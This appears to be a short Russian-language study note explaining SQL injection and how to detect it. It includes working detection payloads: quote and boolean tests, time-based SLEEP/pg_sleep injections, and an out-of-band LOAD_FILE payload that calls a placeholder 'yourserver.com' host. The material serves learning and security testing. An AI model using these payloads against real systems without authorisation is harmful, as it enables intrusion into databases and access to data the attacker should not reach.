2.1 KiB
QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа.
Как распознать наличие возможности SQLi?
-
Поставить ' в конце запроса и посмотреть на ошибки
-
Булевые выражения такие как OR 1=1 OR 1=2 могут помочь получить доступ к нужным частям БД
-
Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа. Пример:
Используй функцию задержки, напримерSLEEPв MySQL:Food' OR SLEEP(5)--
Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость. -
Полезные нагрузки для взаимодействия с сетью (OAST):
Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы).Пример:
Вставляй такие команды, которые обращаются к твоему серверу:Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')--Или:Food'; SELECT pg_sleep(5); -- в PostgreSQLТы будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.